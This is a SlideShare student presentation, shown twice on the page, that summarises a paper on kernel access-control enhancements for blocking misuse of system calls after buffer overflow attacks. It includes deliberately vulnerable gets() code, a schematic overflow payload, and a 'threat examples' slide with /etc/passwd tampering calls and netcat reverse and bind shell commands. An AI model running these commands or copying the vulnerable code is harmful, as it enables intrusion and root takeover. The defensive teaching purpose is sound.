SlideShare a Scribd company logo
Operating System enhancements to
 prevent misuse of Systems Calls
           Dayal Dilli
          ddilli@unb.ca
          March 25, 2013
Outline
• Operating System Security Vulnerabilities and
  concepts
• Buffer overflow exploit
• System Calls and Kernel Data structures
  misuse.
• Access control Databases, Audit Files and
  Reference Monitors.
• Performance Evaluation with protection
  mechanism.
Operating System Security
• Protect system from Executing un authorized
  code.
  – Protect un authorized execution of Kernel Code.
     e.g. System Call.
  – Protect critical memory areas from corruption
Top Operating System Vulnerabilities
• Buffer Overflow attacks
• Denial of Service attacks
• Viruses and Trojans
Buffer overflow
• Buffer is a piece of memory
  – Stack e.g. local variable like arrays
  – Heap e.g. Dynamically allocated memory
Stack Overflow
main()
 {
 char buffer[10]; //Stack
 gets(buffer);
 puts(buffer);
 }
Heap Overflow
main()
 {
 char *buffer;
 buffer=(char *)malloc(10); //Heap
 gets(buffer); //buffer more than 10 bytes
 puts(buffer);
 }
Exploiting Stack Overflow
             • Make the content of
               Buffer[] overflow
             • Well-craft the content
               of Buffer to overwrite
               RET with the address of
               attackers malicious
               code.
             • Malicious code includes
               spawning a root shell
               using exec, binding it a
               port using net cat etc..
Example
• Normal Run
  – Buffer*+ = ‘ABCDEFGH’ – runs properly – 8 bytes


• Exploit
  – Buffer*+ = ‘ABCDEFGHIJKL<address to malicious
    code>’
  – Malicious code contains systems calls like exec
    that can run a shell.
What happened in the previous slides?
• Critical memory areas got corrupted
• We used exec system call to spawn a shell
• Apart from this, unprotected access to system
  calls also leads to resource starvation causing
  Denial of Service attacks.
Prevention of Attacks
• Monitoring of system calls made by the
  processes.
• Blocking malicious invocation of system call
  from completion.
• The paper proposes mechanism of
  interception of system call at Kernel level.
Methodology
•   Detect illegal invocation of system calls.
•   Reference Monitor the system calls.
•   Check the arguments of the system calls.
•   Implement a light weight change without
    much changes to the existing Kernel data
    structures and algorithms.
Approach
    • Key Terms:
      –   Reference functions
      –   Authorization functions
      –   Access control Database
      –   Access Control Rules
Kernel Enhancements
• Not all System calls are malicious.
• Identify the subset of system calls for
  monitoring.
• The paper mainly focuses on the prototype
  implemented to prevent Buffer Overflow
  based intrusion attacks.
Root Access?


• How to get Root Access on the system?
  – Exploit any vulnerability(e.g. buffer overflow) on
    any of the running root processes.
Categories of Root Process
• Interactive
  – Process started by super user. Threat level is nil as
    user has full control of the process.
• Background
  – Daemon programs started at booting, cron jobs.
     • e.g. httpd, ftp, mysqld, processes started with ‘&’ in the
       end.
• Generally, any process with UID and EUID
  equaling 0.
System Call Categories and Threat
              Level
Threat Level Classification
• System calls in group 1 – 3 comes under
  Threat Level 1.
• System calls in group 4-9 no so malicious to be
  misused
System calls with threat level 1 and 2
Threat level – 1 System Calls
Threat examples
• Chmod(“/etc/passwd”, 0666)
  Chown(“/etc/passwd”, intruder, intruder_group)
  Rename(“/tmp/passwd”,”/etc/passwd”)

• Unlink(“/etc/passwd”)
  Link(“/tmp/passwd”,”/etc/passwd”)

• nc <ip> <port> -e /bin/bash
• nc –l –p <port> -e /bin/bash
Implementation
• New Data structures to implement the Access
  control Database (ACD).
• New System call to read, write and update the
  ACD and the reference functions.
Authorization and Reference functions
• Checks for root privilege and subsequent access
  to system calls.
Data Structures:
• setuid_acd       -     contains root passwd
• execve_acd
  – Struct exe_file_id
  – Struct executable_file
  – Struct executable_file_list
Data Structures
Admitted Data structure
sys_setuid_aclm/ aclmng
• System call to read and modify ACD. Acts as
  the common front end for all methods on
  ACD.
• Processes with UID and EUID =0 can only
  access.
• Provides concurrent access between two root
  process using lock variable write_pid.
Sys_setuid_aclm methods
• PUT(exe_file, suid_prog, list)
• DELETE(exe_file, suid_prog, list)
• GET(exe_file, suid_prog, param)
  – Param->file_nr, Param->prog_nr from Param->list
check_rootproc
• Reference function that authenticates the
  execution of execve by a root process.
  – Denial:
     • EXENA: process not in ACD or not authenticated
     • EFNA: File not authenticated
Examples
• Setuid(0) / su
  – Checks password


• Chmod / Chown
  – Process: background
  – File: any regular file/ directory
  – Checks process/ file from ACD along with
    Password.
Performance
• Only Limited Reduction in Performance
• Reasons:
  – Only 10% of the system calls include Access check.
  – Only limited number of process execute all check.
  – No changes with the user mode process.
  – All data structures need for check are in kernel
    memory.
Evaluation
• Pentium II, 330 MHz with 128 MB RAM, Linux
  Kernel Version 2.2.12.
Related Works and Conclusion
• Linker warning to check dangerous function
  calls. e.g. gets, strcpy
• Non-executable stack.
• Stackguard in gcc– commercial tool prevents
  return address modification using canary
  word.
• Stackshield in gcc- moves return address to un
  over flow-able location. e.g. beginning of data
  section.

More Related Content

What's hot

MacOS forensics and anti-forensics (DC Lviv 2019) presentation
MacOS forensics and anti-forensics (DC Lviv 2019) presentationMacOS forensics and anti-forensics (DC Lviv 2019) presentation
MacOS forensics and anti-forensics (DC Lviv 2019) presentation
OlehLevytskyi1
 
Cis 2903 project -202110
Cis 2903 project -202110Cis 2903 project -202110
Cis 2903 project -202110
AlaJebnoun
 
Linux SMEP bypass techniques
Linux SMEP bypass techniquesLinux SMEP bypass techniques
Linux SMEP bypass techniques
Vitaly Nikolenko
 
Kernel Recipes 2015: Linux Kernel IO subsystem - How it works and how can I s...
Kernel Recipes 2015: Linux Kernel IO subsystem - How it works and how can I s...Kernel Recipes 2015: Linux Kernel IO subsystem - How it works and how can I s...
Kernel Recipes 2015: Linux Kernel IO subsystem - How it works and how can I s...
Anne Nicolas
 
Auditing the Opensource Kernels
Auditing the Opensource KernelsAuditing the Opensource Kernels
Auditing the Opensource Kernels
Silvio Cesare
 
OMFW 2012: Analyzing Linux Kernel Rootkits with Volatlity
OMFW 2012: Analyzing Linux Kernel Rootkits with VolatlityOMFW 2012: Analyzing Linux Kernel Rootkits with Volatlity
OMFW 2012: Analyzing Linux Kernel Rootkits with Volatlity
Andrew Case
 
Kernel Recipes 2015: Solving the Linux storage scalability bottlenecks
Kernel Recipes 2015: Solving the Linux storage scalability bottlenecksKernel Recipes 2015: Solving the Linux storage scalability bottlenecks
Kernel Recipes 2015: Solving the Linux storage scalability bottlenecks
Anne Nicolas
 
Larson Macaulay apt_malware_past_present_future_out_of_band_techniques
Larson Macaulay apt_malware_past_present_future_out_of_band_techniquesLarson Macaulay apt_malware_past_present_future_out_of_band_techniques
Larson Macaulay apt_malware_past_present_future_out_of_band_techniques
Scott K. Larson
 
Malware analysis using volatility
Malware analysis using volatilityMalware analysis using volatility
Malware analysis using volatility
Yashashree Gund
 
Linux SD/MMC device driver
Linux SD/MMC device driverLinux SD/MMC device driver
Linux SD/MMC device driver
艾鍗科技
 
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
[若渴計畫] Challenges and Solutions of Window Remote Shellcode[若渴計畫] Challenges and Solutions of Window Remote Shellcode
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
Aj MaChInE
 
Hardware Probing in the Linux Kernel
Hardware Probing in the Linux KernelHardware Probing in the Linux Kernel
Hardware Probing in the Linux Kernel
Kernel TLV
 
Linux kernel debugging
Linux kernel debuggingLinux kernel debugging
Linux kernel debugging
libfetion
 
Linux Crash Dump Capture and Analysis
Linux Crash Dump Capture and AnalysisLinux Crash Dump Capture and Analysis
Linux Crash Dump Capture and Analysis
Paul V. Novarese
 
Syslog
SyslogSyslog
Syslog
SangJung Woo
 
Linux Kernel Debugging Essentials workshop
Linux Kernel Debugging Essentials workshopLinux Kernel Debugging Essentials workshop
Linux Kernel Debugging Essentials workshop
Lubomir Rintel
 
Hot potato Privilege Escalation
Hot potato Privilege EscalationHot potato Privilege Escalation
Hot potato Privilege Escalation
Sunny Neo
 
Metasploit for Web Workshop
Metasploit for Web WorkshopMetasploit for Web Workshop
Metasploit for Web Workshop
Dennis Maldonado
 
Shell Scripting
Shell ScriptingShell Scripting
Shell Scripting
Anil Kumar Pugalia
 
Ex200
Ex200Ex200

What's hot (20)

MacOS forensics and anti-forensics (DC Lviv 2019) presentation
MacOS forensics and anti-forensics (DC Lviv 2019) presentationMacOS forensics and anti-forensics (DC Lviv 2019) presentation
MacOS forensics and anti-forensics (DC Lviv 2019) presentation
 
Cis 2903 project -202110
Cis 2903 project -202110Cis 2903 project -202110
Cis 2903 project -202110
 
Linux SMEP bypass techniques
Linux SMEP bypass techniquesLinux SMEP bypass techniques
Linux SMEP bypass techniques
 
Kernel Recipes 2015: Linux Kernel IO subsystem - How it works and how can I s...
Kernel Recipes 2015: Linux Kernel IO subsystem - How it works and how can I s...Kernel Recipes 2015: Linux Kernel IO subsystem - How it works and how can I s...
Kernel Recipes 2015: Linux Kernel IO subsystem - How it works and how can I s...
 
Auditing the Opensource Kernels
Auditing the Opensource KernelsAuditing the Opensource Kernels
Auditing the Opensource Kernels
 
OMFW 2012: Analyzing Linux Kernel Rootkits with Volatlity
OMFW 2012: Analyzing Linux Kernel Rootkits with VolatlityOMFW 2012: Analyzing Linux Kernel Rootkits with Volatlity
OMFW 2012: Analyzing Linux Kernel Rootkits with Volatlity
 
Kernel Recipes 2015: Solving the Linux storage scalability bottlenecks
Kernel Recipes 2015: Solving the Linux storage scalability bottlenecksKernel Recipes 2015: Solving the Linux storage scalability bottlenecks
Kernel Recipes 2015: Solving the Linux storage scalability bottlenecks
 
Larson Macaulay apt_malware_past_present_future_out_of_band_techniques
Larson Macaulay apt_malware_past_present_future_out_of_band_techniquesLarson Macaulay apt_malware_past_present_future_out_of_band_techniques
Larson Macaulay apt_malware_past_present_future_out_of_band_techniques
 
Malware analysis using volatility
Malware analysis using volatilityMalware analysis using volatility
Malware analysis using volatility
 
Linux SD/MMC device driver
Linux SD/MMC device driverLinux SD/MMC device driver
Linux SD/MMC device driver
 
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
[若渴計畫] Challenges and Solutions of Window Remote Shellcode[若渴計畫] Challenges and Solutions of Window Remote Shellcode
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
 
Hardware Probing in the Linux Kernel
Hardware Probing in the Linux KernelHardware Probing in the Linux Kernel
Hardware Probing in the Linux Kernel
 
Linux kernel debugging
Linux kernel debuggingLinux kernel debugging
Linux kernel debugging
 
Linux Crash Dump Capture and Analysis
Linux Crash Dump Capture and AnalysisLinux Crash Dump Capture and Analysis
Linux Crash Dump Capture and Analysis
 
Syslog
SyslogSyslog
Syslog
 
Linux Kernel Debugging Essentials workshop
Linux Kernel Debugging Essentials workshopLinux Kernel Debugging Essentials workshop
Linux Kernel Debugging Essentials workshop
 
Hot potato Privilege Escalation
Hot potato Privilege EscalationHot potato Privilege Escalation
Hot potato Privilege Escalation
 
Metasploit for Web Workshop
Metasploit for Web WorkshopMetasploit for Web Workshop
Metasploit for Web Workshop
 
Shell Scripting
Shell ScriptingShell Scripting
Shell Scripting
 
Ex200
Ex200Ex200
Ex200
 

Viewers also liked

Chapter 3 security part i auditing operating systems and networks
Chapter 3 security part i  auditing operating systems and networksChapter 3 security part i  auditing operating systems and networks
Chapter 3 security part i auditing operating systems and networks
jayussuryawan
 
Slug 2009 06 SELinux For Sysadmins
Slug 2009 06 SELinux For SysadminsSlug 2009 06 SELinux For Sysadmins
Slug 2009 06 SELinux For Sysadmins
PaulWay
 
OS Security 2009
OS Security 2009OS Security 2009
OS Security 2009
Deborah Obasogie
 
Operating system security (a brief)
Operating system security (a brief)Operating system security (a brief)
Operating system security (a brief)
cnokia
 
Kernel Recipes 2015 - Hardened kernels for everyone
Kernel Recipes 2015 - Hardened kernels for everyoneKernel Recipes 2015 - Hardened kernels for everyone
Kernel Recipes 2015 - Hardened kernels for everyone
Anne Nicolas
 
Intro to IronWASP
Intro to IronWASPIntro to IronWASP
Introduction To SELinux
Introduction To SELinuxIntroduction To SELinux
Introduction To SELinux
Rene Cunningham
 
SELinux basics
SELinux basicsSELinux basics
SELinux basics
Lubomir Rintel
 
SELinux for Everyday Users
SELinux for Everyday UsersSELinux for Everyday Users
SELinux for Everyday Users
PaulWay
 
Network Architecture Review Checklist
Network Architecture Review ChecklistNetwork Architecture Review Checklist
Network Architecture Review Checklist
Eberly Wilson
 
Chapter 14 - Protection
Chapter 14 - ProtectionChapter 14 - Protection
Chapter 14 - Protection
Wayne Jones Jnr
 
COMPUTER SECURITY AND OPERATING SYSTEM
COMPUTER SECURITY AND OPERATING SYSTEMCOMPUTER SECURITY AND OPERATING SYSTEM
COMPUTER SECURITY AND OPERATING SYSTEM
faraz hussain
 
Operating system security
Operating system securityOperating system security
Operating system security
Rachel Jeewa
 
2 Security Architecture+Design
2 Security Architecture+Design2 Security Architecture+Design
2 Security Architecture+Design
Alfred Ouyang
 
System protection in Operating System
System protection in Operating SystemSystem protection in Operating System
System protection in Operating System
sohaildanish
 
Operating System Security
Operating System SecurityOperating System Security
Operating System Security
Ramesh Upadhaya
 
Operating system security
Operating system securityOperating system security
Operating system security
Sarmad Makhdoom
 
Operating system security
Operating system securityOperating system security
Operating system security
Ramesh Ogania
 
Security & protection in operating system
Security & protection in operating systemSecurity & protection in operating system
Security & protection in operating system
Abou Bakr Ashraf
 
Operating system and its function
Operating system and its functionOperating system and its function
Operating system and its function
Nikhi Jain
 

Viewers also liked (20)

Chapter 3 security part i auditing operating systems and networks
Chapter 3 security part i  auditing operating systems and networksChapter 3 security part i  auditing operating systems and networks
Chapter 3 security part i auditing operating systems and networks
 
Slug 2009 06 SELinux For Sysadmins
Slug 2009 06 SELinux For SysadminsSlug 2009 06 SELinux For Sysadmins
Slug 2009 06 SELinux For Sysadmins
 
OS Security 2009
OS Security 2009OS Security 2009
OS Security 2009
 
Operating system security (a brief)
Operating system security (a brief)Operating system security (a brief)
Operating system security (a brief)
 
Kernel Recipes 2015 - Hardened kernels for everyone
Kernel Recipes 2015 - Hardened kernels for everyoneKernel Recipes 2015 - Hardened kernels for everyone
Kernel Recipes 2015 - Hardened kernels for everyone
 
Intro to IronWASP
Intro to IronWASPIntro to IronWASP
Intro to IronWASP
 
Introduction To SELinux
Introduction To SELinuxIntroduction To SELinux
Introduction To SELinux
 
SELinux basics
SELinux basicsSELinux basics
SELinux basics
 
SELinux for Everyday Users
SELinux for Everyday UsersSELinux for Everyday Users
SELinux for Everyday Users
 
Network Architecture Review Checklist
Network Architecture Review ChecklistNetwork Architecture Review Checklist
Network Architecture Review Checklist
 
Chapter 14 - Protection
Chapter 14 - ProtectionChapter 14 - Protection
Chapter 14 - Protection
 
COMPUTER SECURITY AND OPERATING SYSTEM
COMPUTER SECURITY AND OPERATING SYSTEMCOMPUTER SECURITY AND OPERATING SYSTEM
COMPUTER SECURITY AND OPERATING SYSTEM
 
Operating system security
Operating system securityOperating system security
Operating system security
 
2 Security Architecture+Design
2 Security Architecture+Design2 Security Architecture+Design
2 Security Architecture+Design
 
System protection in Operating System
System protection in Operating SystemSystem protection in Operating System
System protection in Operating System
 
Operating System Security
Operating System SecurityOperating System Security
Operating System Security
 
Operating system security
Operating system securityOperating system security
Operating system security
 
Operating system security
Operating system securityOperating system security
Operating system security
 
Security & protection in operating system
Security & protection in operating systemSecurity & protection in operating system
Security & protection in operating system
 
Operating system and its function
Operating system and its functionOperating system and its function
Operating system and its function
 

Similar to Operating system enhancements to prevent misuse of systems

Power on, Powershell
Power on, PowershellPower on, Powershell
Power on, Powershell
Roo7break
 
Services and system calls
Services and system callsServices and system calls
Services and system calls
sangrampatil81
 
RIoT (Raiding Internet of Things) by Jacob Holcomb
RIoT  (Raiding Internet of Things)  by Jacob HolcombRIoT  (Raiding Internet of Things)  by Jacob Holcomb
RIoT (Raiding Internet of Things) by Jacob Holcomb
Priyanka Aash
 
Vulnerabilities on Various Data Processing Levels
Vulnerabilities on Various Data Processing LevelsVulnerabilities on Various Data Processing Levels
Vulnerabilities on Various Data Processing Levels
Positive Hack Days
 
unit 2 confinement techniques.pdf
unit 2 confinement techniques.pdfunit 2 confinement techniques.pdf
unit 2 confinement techniques.pdf
RohitGautam261127
 
Vulnerabilities in data processing levels
Vulnerabilities in data processing levelsVulnerabilities in data processing levels
Vulnerabilities in data processing levels
beched
 
Ch2 operating-system structures
Ch2   operating-system structuresCh2   operating-system structures
Ch2 operating-system structures
Welly Dian Astika
 
Lateral Movement - Hacker Halted 2016
Lateral Movement - Hacker Halted 2016Lateral Movement - Hacker Halted 2016
Lateral Movement - Hacker Halted 2016
Xavier Ashe
 
Lateral Movement: How attackers quietly traverse your Network
Lateral Movement: How attackers quietly traverse your NetworkLateral Movement: How attackers quietly traverse your Network
Lateral Movement: How attackers quietly traverse your Network
EC-Council
 
2 operating system structures
2 operating system structures2 operating system structures
2 operating system structures
Dr. Loganathan R
 
Apache Performance Tuning: Scaling Up
Apache Performance Tuning: Scaling UpApache Performance Tuning: Scaling Up
Apache Performance Tuning: Scaling Up
Sander Temme
 
Operating system 11 system calls
Operating system 11 system callsOperating system 11 system calls
Operating system 11 system calls
Vaibhav Khanna
 
Ch 8: Desktop and Server OS Vulnerabilites
Ch 8: Desktop and Server OS VulnerabilitesCh 8: Desktop and Server OS Vulnerabilites
Ch 8: Desktop and Server OS Vulnerabilites
Sam Bowne
 
System Programming and Administration
System Programming and AdministrationSystem Programming and Administration
System Programming and Administration
Krasimir Berov (Красимир Беров)
 
Penetration Testing Boot CAMP
Penetration Testing Boot CAMPPenetration Testing Boot CAMP
Introduction to System Calls
Introduction to System CallsIntroduction to System Calls
Introduction to System Calls
Vandana Salve
 
DevSecCon Singapore 2018 - System call auditing made effective with machine l...
DevSecCon Singapore 2018 - System call auditing made effective with machine l...DevSecCon Singapore 2018 - System call auditing made effective with machine l...
DevSecCon Singapore 2018 - System call auditing made effective with machine l...
DevSecCon
 
Chapter 1: Introduction to Unix / Linux Kernel
Chapter 1: Introduction to Unix / Linux KernelChapter 1: Introduction to Unix / Linux Kernel
Chapter 1: Introduction to Unix / Linux Kernel
Dr.Ashvini Chaudhari Bhongade
 
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the CoreNSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NoSuchCon
 
Attack All The Layers - What's Working in Penetration Testing
Attack All The Layers - What's Working in Penetration TestingAttack All The Layers - What's Working in Penetration Testing
Attack All The Layers - What's Working in Penetration Testing
NetSPI
 

Similar to Operating system enhancements to prevent misuse of systems (20)

Power on, Powershell
Power on, PowershellPower on, Powershell
Power on, Powershell
 
Services and system calls
Services and system callsServices and system calls
Services and system calls
 
RIoT (Raiding Internet of Things) by Jacob Holcomb
RIoT  (Raiding Internet of Things)  by Jacob HolcombRIoT  (Raiding Internet of Things)  by Jacob Holcomb
RIoT (Raiding Internet of Things) by Jacob Holcomb
 
Vulnerabilities on Various Data Processing Levels
Vulnerabilities on Various Data Processing LevelsVulnerabilities on Various Data Processing Levels
Vulnerabilities on Various Data Processing Levels
 
unit 2 confinement techniques.pdf
unit 2 confinement techniques.pdfunit 2 confinement techniques.pdf
unit 2 confinement techniques.pdf
 
Vulnerabilities in data processing levels
Vulnerabilities in data processing levelsVulnerabilities in data processing levels
Vulnerabilities in data processing levels
 
Ch2 operating-system structures
Ch2   operating-system structuresCh2   operating-system structures
Ch2 operating-system structures
 
Lateral Movement - Hacker Halted 2016
Lateral Movement - Hacker Halted 2016Lateral Movement - Hacker Halted 2016
Lateral Movement - Hacker Halted 2016
 
Lateral Movement: How attackers quietly traverse your Network
Lateral Movement: How attackers quietly traverse your NetworkLateral Movement: How attackers quietly traverse your Network
Lateral Movement: How attackers quietly traverse your Network
 
2 operating system structures
2 operating system structures2 operating system structures
2 operating system structures
 
Apache Performance Tuning: Scaling Up
Apache Performance Tuning: Scaling UpApache Performance Tuning: Scaling Up
Apache Performance Tuning: Scaling Up
 
Operating system 11 system calls
Operating system 11 system callsOperating system 11 system calls
Operating system 11 system calls
 
Ch 8: Desktop and Server OS Vulnerabilites
Ch 8: Desktop and Server OS VulnerabilitesCh 8: Desktop and Server OS Vulnerabilites
Ch 8: Desktop and Server OS Vulnerabilites
 
System Programming and Administration
System Programming and AdministrationSystem Programming and Administration
System Programming and Administration
 
Penetration Testing Boot CAMP
Penetration Testing Boot CAMPPenetration Testing Boot CAMP
Penetration Testing Boot CAMP
 
Introduction to System Calls
Introduction to System CallsIntroduction to System Calls
Introduction to System Calls
 
DevSecCon Singapore 2018 - System call auditing made effective with machine l...
DevSecCon Singapore 2018 - System call auditing made effective with machine l...DevSecCon Singapore 2018 - System call auditing made effective with machine l...
DevSecCon Singapore 2018 - System call auditing made effective with machine l...
 
Chapter 1: Introduction to Unix / Linux Kernel
Chapter 1: Introduction to Unix / Linux KernelChapter 1: Introduction to Unix / Linux Kernel
Chapter 1: Introduction to Unix / Linux Kernel
 
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the CoreNSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
 
Attack All The Layers - What's Working in Penetration Testing
Attack All The Layers - What's Working in Penetration TestingAttack All The Layers - What's Working in Penetration Testing
Attack All The Layers - What's Working in Penetration Testing
 

Operating system enhancements to prevent misuse of systems

  • 1. Operating System enhancements to prevent misuse of Systems Calls Dayal Dilli ddilli@unb.ca March 25, 2013
  • 2. Outline • Operating System Security Vulnerabilities and concepts • Buffer overflow exploit • System Calls and Kernel Data structures misuse. • Access control Databases, Audit Files and Reference Monitors. • Performance Evaluation with protection mechanism.
  • 3. Operating System Security • Protect system from Executing un authorized code. – Protect un authorized execution of Kernel Code. e.g. System Call. – Protect critical memory areas from corruption
  • 4. Top Operating System Vulnerabilities • Buffer Overflow attacks • Denial of Service attacks • Viruses and Trojans
  • 5. Buffer overflow • Buffer is a piece of memory – Stack e.g. local variable like arrays – Heap e.g. Dynamically allocated memory
  • 6. Stack Overflow main() { char buffer[10]; //Stack gets(buffer); puts(buffer); }
  • 7. Heap Overflow main() { char *buffer; buffer=(char *)malloc(10); //Heap gets(buffer); //buffer more than 10 bytes puts(buffer); }
  • 8. Exploiting Stack Overflow • Make the content of Buffer[] overflow • Well-craft the content of Buffer to overwrite RET with the address of attackers malicious code. • Malicious code includes spawning a root shell using exec, binding it a port using net cat etc..
  • 9. Example • Normal Run – Buffer*+ = ‘ABCDEFGH’ – runs properly – 8 bytes • Exploit – Buffer*+ = ‘ABCDEFGHIJKL<address to malicious code>’ – Malicious code contains systems calls like exec that can run a shell.
  • 10. What happened in the previous slides? • Critical memory areas got corrupted • We used exec system call to spawn a shell • Apart from this, unprotected access to system calls also leads to resource starvation causing Denial of Service attacks.
  • 11. Prevention of Attacks • Monitoring of system calls made by the processes. • Blocking malicious invocation of system call from completion. • The paper proposes mechanism of interception of system call at Kernel level.
  • 12. Methodology • Detect illegal invocation of system calls. • Reference Monitor the system calls. • Check the arguments of the system calls. • Implement a light weight change without much changes to the existing Kernel data structures and algorithms.
  • 13. Approach • Key Terms: – Reference functions – Authorization functions – Access control Database – Access Control Rules
  • 14. Kernel Enhancements • Not all System calls are malicious. • Identify the subset of system calls for monitoring. • The paper mainly focuses on the prototype implemented to prevent Buffer Overflow based intrusion attacks.
  • 15. Root Access? • How to get Root Access on the system? – Exploit any vulnerability(e.g. buffer overflow) on any of the running root processes.
  • 16. Categories of Root Process • Interactive – Process started by super user. Threat level is nil as user has full control of the process. • Background – Daemon programs started at booting, cron jobs. • e.g. httpd, ftp, mysqld, processes started with ‘&’ in the end. • Generally, any process with UID and EUID equaling 0.
  • 17. System Call Categories and Threat Level
  • 18. Threat Level Classification • System calls in group 1 – 3 comes under Threat Level 1. • System calls in group 4-9 no so malicious to be misused
  • 19. System calls with threat level 1 and 2
  • 20. Threat level – 1 System Calls
  • 21. Threat examples • Chmod(“/etc/passwd”, 0666) Chown(“/etc/passwd”, intruder, intruder_group) Rename(“/tmp/passwd”,”/etc/passwd”) • Unlink(“/etc/passwd”) Link(“/tmp/passwd”,”/etc/passwd”) • nc <ip> <port> -e /bin/bash • nc –l –p <port> -e /bin/bash
  • 22. Implementation • New Data structures to implement the Access control Database (ACD). • New System call to read, write and update the ACD and the reference functions.
  • 23. Authorization and Reference functions • Checks for root privilege and subsequent access to system calls. Data Structures: • setuid_acd - contains root passwd • execve_acd – Struct exe_file_id – Struct executable_file – Struct executable_file_list
  • 26. sys_setuid_aclm/ aclmng • System call to read and modify ACD. Acts as the common front end for all methods on ACD. • Processes with UID and EUID =0 can only access. • Provides concurrent access between two root process using lock variable write_pid.
  • 27. Sys_setuid_aclm methods • PUT(exe_file, suid_prog, list) • DELETE(exe_file, suid_prog, list) • GET(exe_file, suid_prog, param) – Param->file_nr, Param->prog_nr from Param->list
  • 28. check_rootproc • Reference function that authenticates the execution of execve by a root process. – Denial: • EXENA: process not in ACD or not authenticated • EFNA: File not authenticated
  • 29. Examples • Setuid(0) / su – Checks password • Chmod / Chown – Process: background – File: any regular file/ directory – Checks process/ file from ACD along with Password.
  • 30. Performance • Only Limited Reduction in Performance • Reasons: – Only 10% of the system calls include Access check. – Only limited number of process execute all check. – No changes with the user mode process. – All data structures need for check are in kernel memory.
  • 31. Evaluation • Pentium II, 330 MHz with 128 MB RAM, Linux Kernel Version 2.2.12.
  • 32. Related Works and Conclusion • Linker warning to check dangerous function calls. e.g. gets, strcpy • Non-executable stack. • Stackguard in gcc– commercial tool prevents return address modification using canary word. • Stackshield in gcc- moves return address to un over flow-able location. e.g. beginning of data section.